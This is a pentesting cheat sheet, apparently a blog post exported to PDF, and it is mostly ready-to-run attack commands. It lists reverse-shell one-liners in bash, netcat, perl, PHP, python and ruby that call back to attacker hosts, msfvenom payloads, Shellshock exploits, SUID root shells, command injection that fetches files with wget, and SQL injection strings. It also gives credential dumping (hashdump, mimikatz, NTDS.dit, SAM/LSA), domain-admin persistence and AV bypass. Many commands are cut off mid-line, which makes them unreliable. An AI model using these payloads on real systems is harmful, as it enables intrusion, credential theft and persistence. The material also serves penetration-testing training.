Pentesting Cheatsheet

In addition to my own contributions, this compilation is possible by other compiled cheatsheets by g0tmilk, highon.coffee, and pentestmonkey, as well as a few others listed at the bottom. It's easiest to search via ctrl+F, as the Table of Contents isn't kept up to date fully.

Pentesting Cheat Sheet

Table of Contents

Enumeration

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

SSH (22)

SMTP Enumeration (25)

Finger Enumeration (79)

Web Enumeration (80/443)

Pop3 (110)

RPCBind (111)

SMB\RPC Enumeration (139/445)

SNMP Enumeration (161)

Oracle (1521)

Mysql Enumeration (3306)

DNS Zone Transfers

Mounting File Shares

Fingerprinting

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Exploit Research

Compiling Exploits

Packet Inspection

Password Cracking

Bruteforcing

Shells & Reverse Shells

SUID C Shells

TTY Shell

Spawn Ruby Shell

Netcat

Telnet Reverse Shell

PHP

Bash

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Perl

Meterpreter

Windows reverse meterpreter payload

Windows VNC Meterpreter payload

Linux Reverse Meterpreter payload

Meterpreter Cheat Sheet

Meterpreter Payloads

Binaries

Web Payloads

Scripting Payloads

Shellcode

Handlers

Powershell

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Privilege Escalation

Linux

Windows

Command Injection

File Traverse

Test HTTP options using curl

Upload file using CURL to website with PUT option available

Transfer file

Activate shell file

SQLInjections

Injections

SQLMap

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Miscellaneous

Tunneling

AV Bypass

Web hosts

Php Meterpreter Shell

Reverse shell using interpreters

Shellshock

Resources & Links

Windows Privilege Escalation

SQL & Apache Log paths

Recon

Cheat Sheets (Includes scripts)

Meterpreter Stuff

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Proxy Chaining

Huge collection of common commands and scripts as well as general pentest info

Scripts

Pentester Bookmarks, huge collection of blogs, forums, and resources

Pentest Checklist

OSCP Writeups, blogs, and notes

Enumeration

General Enumeration:

```
nmap -vv -Pn -A -sC -sS -T 4 -p- 10.0.0.1
```

- Verbose, syn, all ports, all scripts, no ping

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
nmap -v -sS -A -T4 x.x.x.x
```

- - Verbose, SYN Stealth, Version info, and scripts against services.

```
nmap –script smb-check-vulns.nse –script-args=unsafe=1 -p445 [host]
```

- - Nmap script to scan for vulnerable SMB servers – WARNING: unsafe=1 may cause knockover
-

```
netdiscover -r 192.168.1.0/24
```

FTP Enumeration (21):

-

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
nmap –script ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-ba
```

SSH (22):

-

```
ssh INSERTIPADDRESS 22
```

SMTP Enumeration (25):

-

```
nmap –script smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp
```

-

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
nc -nvv INSERTIPADDRESS 25
```

-

```
telnet INSERTIPADDRESS 25
```

Finger Enumeration (79):

Download script and run it with a wordlist: http://pentestmonkey.net/tools/user-enumeration/finger-user-enum

Web Enumeration (80/443):

- dirbuster (GUI)
-

```
dirb http://10.0.0.1/
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

-

```
nikto –h 10.0.0.1
```

Pop3 (110):

-

```
telnet INSERTIPADDRESS 110
```

-

```
USER [username]
```

```
PASS [password]
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- To login

```
LIST
```

- To list messages

```
RETR [message number]
```

- Retrieve message

```
QUIT
```

- quits

RPCBind (111):

-

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
rpcinfo –p x.x.x.x
```

SMB\RPC Enumeration (139/445):

-

```
enum4linux –a 10.0.0.1
```

- nbtscan x.x.x.x
  - Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
-

```
py 192.168.XXX.XXX 500 50000 dict.txt
```

-

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.X
```

-

```
nmap IPADDR --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enu
```

```
smbclient -L //INSERTIPADDRESS/
```

- - List open shares
-

```
smbclient //INSERTIPADDRESS/ipc$ -U john
```

SNMP Enumeration (161):

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- ```
  snmpwalk -c public -v1 10.0.0.0
  ```
- ```
  snmpcheck -t 192.168.1.X -c public
  ```
- ```
  onesixtyone -c names -i hosts
  ```
- ```
  nmap -sT -p 161 192.168.X.X -oG snmp_results.txt
  ```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

-

```
snmpenum -t 192.168.1.X
```

Oracle (1521):

-

```
tnscmd10g version -h INSERTIPADDRESS
```

-

```
tnscmd10g status -h INSERTIPADDRESS
```

Mysql Enumeration (3306):

-

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
nmap -sV -Pn -vv  10.0.0.1 -p 3306 --script mysql-audit,mysql-databases,mysql-d
```

DNS Zone Transfers:

-

```
nslookup -> set type=any -> ls -d blah.com
```

```
dig axfr blah.com @ns1.blah.com
```

- - This one works the best in my experience
-

```
dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Mounting File Share

-

```
showmount -e IPADDR
```

```
mount 192.168.1.1:/vol/share /mnt/nfs  -nolock
```

- - mounts the share to /mnt/nfs without locking it

```
mount -t cifs -o username=user,password=pass,  domain=blah //192.168.1.X/sh
```

- - Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
net use Z: \\win-server\share password  /user:domain\janedoe /savecred /p:no
```

- Mount a Windows share on Windows from the command line

```
apt-get install smb4k –y
```

- Install smb4k on Kali, useful Linux GUI for browsing SMB shares

Fingerprinting: Basic versioning / finger printing via displayed banner

-

```
nc -v 192.168.1.1 25
```

-

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
telnet 192.168.1.1 25
```

Exploit Research

```
searchsploit windows 2003 | grep -i local
```

- Search exploit-db for exploit, in this example windows 2003 + local esc

Compiling Exploits

```
gcc -o exploit exploit.c
```

- Compile C code, add –m32 after ‘gcc’ for compiling 32 bit code on 64 bit Linux

```
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Compile windows .exe on Linux

Packet Inspection:

```
tcpdump tcp port 80 -w output.pcap -i eth0
```

- tcpdump for port 80 on interface eth0, outputs to output.pcap

Password Cracking

-

```
hash-identifier [hash]
```

-

```
john hashes.txt
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

-

```
hashcat -m 500 -a 0 -o output.txt –remove hashes.txt /usr/share/wordlists/rocky
```

```
hashcat -m 1000 dump.txt -o output.txt --remove -a 3 ?u?l?l?d?d?d?d
```

- - Brute force crack for NTLM hashes with an uppercase, lowercase, lowercase, and 4 digit mask
- List of hash types and examples for hashcat https://hashcat.net/wiki/doku.php?id=example_hashes
- https://hashkiller.co.uk has a good repo of already cracked MD5 and NTLM hashes

Bruteforcing:

-

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
hydra 10.0.0.1 http-post-form "/admin.php:target=auth&mode=login&user=^US
```

-

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt -o results.txt IPADDR PROTOC
```

```
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp –V
```

- - Hydra SMTP Brute force

Shells & Reverse Shells

SUID C Shells

- bin/bash:

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
int main(void){

setresuid(0, 0, 0);

system("/bin/bash");

}
```

- bin/sh:

```
int main(void){

setresuid(0, 0, 0);

system("/bin/sh");

}
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

TTY Shell:

- ```
  python -c 'import pty;pty.spawn("/bin/bash")'
  ```

- ```
  echo os.system('/bin/bash')
  ```

- ```
  /bin/sh –i
  ```

  ```
  execute('/bin/sh')
  ```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
  ```

- LUA

```
!sh
```

- Privilege Escalation via nmap

```
:!bash
```

- Privilege escalation via vi

Fully Interactive TTY

In reverse shell

python -c 'import pty; pty.spawn("/bin/bash")'

Ctrl-Z

In Attacker console

stty -a

stty raw -echo

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

fg

In reverse shell

reset

export SHELL=bash

export TERM=xterm-256color

stty rows <num> columns <cols>

Spawn Ruby Shell

- ```
  exec "/bin/sh"
  ```

- ```
  ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh
  ```

Netcat

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- ```
  nc -e /bin/sh ATTACKING-IP 80
  ```
- ```
  /bin/sh | nc ATTACKING-IP 80
  ```
- ```
  rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p
  ```

Telnet Reverse Shell

- ```
  rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
  ```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

-

```
telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443
```

PHP

```
php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'
```

- - (Assumes TCP uses file descriptor 3. If it doesn't work, try 4,5, or 6)

Bash

-

```
exec /bin/bash 0&0 2>&0
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- ```
  0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196
  ```

- ```
  exec 5<>/dev/tcp/ATTACKING-IP/80 cat <&5 | while read line; do $line 2>&5 >&5
  ```

or: while read line 0<&5; do $line 2>&5 >&5; done

- ```
  bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1
  ```

Perl

-

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
  ```

```
exec "/bin/sh";
```

-

```
perl —e 'exec "/bin/sh";'
```

-

```
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,ge
```

```
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdop
```

-
  - Windows

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,ge
```

- Windows

Meterpreter

Windows reverse meterpreter payload

```
set payload windows/meterpreter/reverse_tcp
```

- Windows reverse tcp payload

Windows VNC Meterpreter payload

```
set payload windows/vncinject/reverse_tcp
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- - Meterpreter Windows VNC Payload
-

```
set ViewOnly false
```

Linux Reverse Meterpreter payload

```
set payload linux/meterpreter/reverse_tcp
```

- - Meterpreter Linux Reverse Payload

Meterpreter Cheat Sheet

```
upload file c:\\windows
```

- - Meterpreter upload file to Windows target

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
download c:\\windows\\repair\\sam /tmp
```

- Meterpreter download file from Windows target

```
download c:\\windows\\repair\\sam /tmp
```

- Meterpreter download file from Windows target

```
execute -f c:\\windows\temp\exploit.exe
```

- Meterpreter run .exe on target – handy for executing uploaded exploits

```
execute -f cmd -c
```

- Creates new channel with cmd shell

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
ps
```

- Meterpreter show processes

```
shell
```

- Meterpreter get shell on the target

```
getsystem
```

- Meterpreter attempts priviledge escalation the target

```
hashdump
```

- Meterpreter attempts to dump the hashes on the target (must have privileges; try migrating to winlogon.exe if possible first)

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
portfwd add –l 3389 –p 3389 –r target
```

- Meterpreter create port forward to target machine

```
portfwd delete –l 3389 –p 3389 –r target
```

- Meterpreter delete port forward

```
use exploit/windows/local/bypassuac
```

- Bypass UAC on Windows 7 + Set target + arch, x86/64

```
use auxiliary/scanner/http/dir_scanner
```

- Metasploit HTTP directory scanner

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
use auxiliary/scanner/http/jboss_vulnscan
```

- Metasploit JBOSS vulnerability scanner

```
use auxiliary/scanner/mssql/mssql_login
```

- Metasploit MSSQL Credential Scanner

```
use auxiliary/scanner/mysql/mysql_version
```

- Metasploit MSSQL Version Scanner

```
use auxiliary/scanner/oracle/oracle_login
```

- Metasploit Oracle Login Module

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
use exploit/multi/script/web_delivery
```

- Metasploit powershell payload delivery module

```
post/windows/manage/powershell/exec_powershell
```

- Metasploit upload and run powershell script through a session

```
use exploit/multi/http/jboss_maindeployer
```

- Metasploit JBOSS deploy

```
use exploit/windows/mssql/mssql_payload
```

- Metasploit MSSQL payload

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
run post/windows/gather/win_privs
```

- Metasploit show privileges of current user

```
use post/windows/gather/credentials/gpp
```

- Metasploit grab GPP saved passwords
-

```
load kiwi
```

```
creds_all
```

- Metasploit load Mimikatz/kiwi and get creds

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
run post/windows/gather/local_admin_search_enum
```

- - Idenitfy other machines that the supplied domain user has administrative access to
-

```
set AUTORUNSCRIPT post/windows/manage/migrate
```

Meterpreter Payloads

```
msfvenom –l
```

- - List options

Binaries

-

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.el
```

-

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.e
```

-

```
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.machc
```

Web Payloads

```
msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT= -f raw > shell.php
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- PHP

```
set payload php/meterpreter/reverse_tcp
```

- Listener

```
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> sh
```

- PHP

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.a
```

- ASP

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- JSP

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
```

- WAR

Scripting Payloads

- msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
  - Python

```
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
```

- Bash

```
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
```

- Perl

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Shellcode

For all shellcode see 'msfvenom –help-formats' for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.

- ```
  msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f
  ```
- ```
  msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f
  ```
- ```
  msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f
  ```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
  ```

Handlers

Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.

```
exploit/multi/handler   set PAYLOAD   set LHOST   set LPORT   set ExitOnSession false
```

An example is:

```
msfvenom exploit/multi/handler -p windows/meterpreter/reverse_tcp LHOST= LPOR
```

Powershell

Execution Bypass

-

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
Set-ExecutionPolicy Unrestricted
./file.ps1
```

-

```
Import-Module script.psm1
Invoke-FunctionThatIsIntheModule
```

-

```
iex(new-object system.net.webclient).downloadstring("file:///C:\examplefile.ps1")
```

Powershell.exe blocked

- Use 'not powershell' https://github.com/Ben0xA/nps

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Persistence

- ```
  net user username "password" /ADD
  ```

- ```
  net group "Domain Admins" %username% /DOMAIN /ADD
  ```

Gather NTDS.dit file

- ntdsutil
  activate instance ntds
  ifm
  create full C:\ntdsutil
  quit
  quit

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Privilege Escalation

Linux:

Find Binaries that will execute as the owner

-

```
find / -perm -u=s -type f 2>/dev/null
```

Find binaries that will execute as the group

-

```
find / -perm -g=s -type f 2>/dev/null
```

Find sticky-bit binaries

-

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
find / -perm -1000 -type d 2>/dev/null
```

If Python is executable as root

-

```
python2.7 -c "import pty;pty.spawn('/bin/sh');"
```

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

https://github.com/pentestmonkey/unix-privesc-check

Windows:

https://github.com/pentestmonkey/windows-privesc-check

http://www.fuzzysecurity.com/tutorials/16.html

https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Command Injection

File Traverse:

-

```
website.com/file.php[?path=/]
```

Test HTTP options using curl:

-

```
curl -vX OPTIONS [website]
```

Upload file using CURL to website with PUT option available

-

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

```
curl --upload-file shell.php --url http://192.168.218.139/test/shell.php --http1.0
```

Transfer file (Try temp directory if not writable)(wget -O tells it where to store):

-

```
?path=/; wget http://IPADDRESS:8000/FILENAME.EXTENTION;
```

Activate shell file:

-

```
; php -f filelocation.php;
```

SQLInjections

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Common **Injections for Login Forms:**

- admin' --
- admin' #
- admin'/*
- ' or 1=1--
- ' or 1=1#
- ' or 1=1/*
- ') or '1'='1--
- ') or ('1'='1—

SQLMap

- sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3
    - Automated sqlmap scan
- sqlmap -u http://INSERTIPADDRESS --dbms=mysql --crawl=3
- sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/blah.php"

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

    - Targeted sqlmap scan
- `sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump` Scan url for union + error based injection with mysql backend and use a random user agent + database dump
- `sqlmap -o -u "http://meh.com/form/" –forms`
    - sqlmap check form for injection
- `sqlmap -o -u "http://meh/vuln-form" --forms -D database-name -T users –dump`
    - sqlmap dump and crack hashes for table users on database-name.
- `sqlmap --flush session`
    - Flushes the session
- `sqlmap -p user --technique=B`
    - Attempts to exploit the “user” field using boolean technique.
- `sqlmap -r <captured request>`
    - Capture a request via Burp Suite, save it to a file, and use this command to let sqlmap automate everything. Add –os-shell at the end to pop a shell if possible.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Miscellaneous

NTLMRelayx.py using mitm6

This will take captured credentials via IPv6 spoofing using mitm6 and relay them to a target via ntlmrelayx.py. It requires ntlmrelayx.py and mitm6 to be installed already.

```
mitm6 -d <domain.local>
```

- First, start mitm6 and specify the domain you're spoofing on with '-d domain.name'

```
ntlmrelayx.py -6 -wh 192.168.1.1 -t smb://192.168.1.2 -l ~/tmp/
```

- -6 specifies ipv6, -wh specifies where the WPAD file is hosted at (your IP usually). -t specifies the target, or destination where the credentials will be relayed. -l is to where to store the loot.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Name your terminal whatever you want

This small script will name your terminal whatever you pass as an argument to it. It helps organizing with multiple terminals open. Thanks Ben!

```
#!bin/bash

echo -ne "\033]0;${1}\007"
```

Tunneling:

sshuttle is an awesome tunneling tool that does all the hard work for you. It gets rid of the need for proxy chains. What this command does is tunnels traffic through 10.0.0.1 and makes a route for all traffic destined for 10.10.10.0/24 through your sshuttle tunnel.

- sshuttle -r root@10.0.0.1 10.10.10.0/24

AV Bypass:

```
wine hyperion.exe ../backdoor.exe ../backdoor_mutation.exe
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- wine and hyperion need to be installed.

Web hosts

- `python -m SimpleHTTPServer 80`
  - Basic HTTP Server. Will list the directory it's started in.
- `service apache2 start`
  - Starts Apache web server. Place files in /var/www/html to be able to 'wget' them.

Php Meterpreter Shell (Remove Guard bit)

- `msfvenom -p php/meterpreter/reverse_tcp LHOST=????????? LPORT=6000 R > phpmeterpreter.php`

Netcat

- Listener: `nc -lvp <PORT>`
  - Listen verbosely on a port.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Target: nc -e /bin/bash listeneripaddress listenerport
- or ncat -v -l -p 7777 -e /bin/bash
- Host: cat happy.txt | ncat -v -l -p 5555 Target: ncat localhost 5555 > happy_copy.txt
    - Download file via ncat

Reverse shell using interpreters (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)

- python -c python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Shellshock

- curl -x TARGETADDRESS -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/HOSTIP/1234 0>&1" TARGETADDRESS/cgi-bin/status
- curl -x 192.168.28.167:PORT -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/192.168.28.169/1234 0>&1" 192.168.28.167/cgi-bin/status
- ssh username@IPADDRESS '() { :;}; /bin/bash'
    - Shellshock over SSH

CrackMapExec

```
crackmapexec  smb 10.0.0.1/24 -u administrator -p 'password' --local-auth --sam
```

- - Spray the network with local login credentials then dump SAM contents

```
crackmapexec  smb 10.0.0.1/24 -u administrator -H <hash> --local-auth --lsa
```

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

- Pass the hash network-wide, local login, dump LSA contents

```
crackmapexec smb 192.168.10.0/24 -u username -p password -M empire_exec -
```

- Requires Empire Restful API to be running. It will spray supply credentials and pop an empire agent on any successful login. Read more here

Resources & Links

Windows Privilege Escalation

http://www.fuzzysecurity.com/tutorials/16.html

https://toshellandback.com/2015/11/24/ms-priv-esc/

SQL & Apache Log paths

http://www.itninja.com/blog/view/mysql-and-apache-profile-log-path-locations

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Recon

https://bitvijays.github.io/blog/2015/04/09/learning-from-the-field-intelligence-gathering/

Cheat Sheets (Includes scripts):

http://pentestmonkey.net/

https://highon.coffee/blog/cheat-sheet/

https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

Meterpreter Stuff

http://netsec.ws/?p=331

Proxy Chaining

apt-get install sshuttle

https://github.com/sshuttle/sshuttle

https://github.com/rofl0r/proxychains-ng

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

https://www.offensive-security.com/metasploit-unleashed/proxytunnels/

Huge collection of common commands and scripts as well as general pentest info

https://bobloblaw.gitbooks.io/security/content/

Scripts

https://github.com/rebootuser/LinEnum

https://github.com/mzet-/linux-exploit-suggester

https://github.com/azmatt/windowsEnum

https://github.com/leebaird/discover

https://nmap.org/nsedoc/

Pentester Bookmarks, huge collection of blogs, forums, and resources.

https://code.google.com/archive/p/pentest-bookmarks/wikis/BookmarksList.wiki

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Pentest Checklist

http://mateustymbu.xpg.uol.com.br/Bibliography/Pentest_Checklist.pdf

Pentesting Workflow

https://workflowy.com/s/FgBl.6qcAQUUqWM

OSCP Writeups, blogs, and notes:

https://xapax.github.io/blog/2017/01/14/OSCP.html

http://www.securitysift.com/offsec-pwb-oscp/

https://netsecfocus.com/topic/32/oscp-like-vulnhub-vms

https://blog.propriacausa.dewp-content/uploads/2016/07/oscp_notes.html

https://localhost.exposed/path-to-oscp/

https://www.reddit.com/r/netsecstudents/comments/5i00w6/my_experience_with_the_oscp/

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

https://naterobb.blogspot.com/2017/02/my-experience-with-oscp-to-kick-off-my.html

http://www.securitysift.com/offsec-pwb-oscp/

Share this:

Twitter Facebook

Like

Be the first to like this.

Follow Me on Twitter

On Github

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD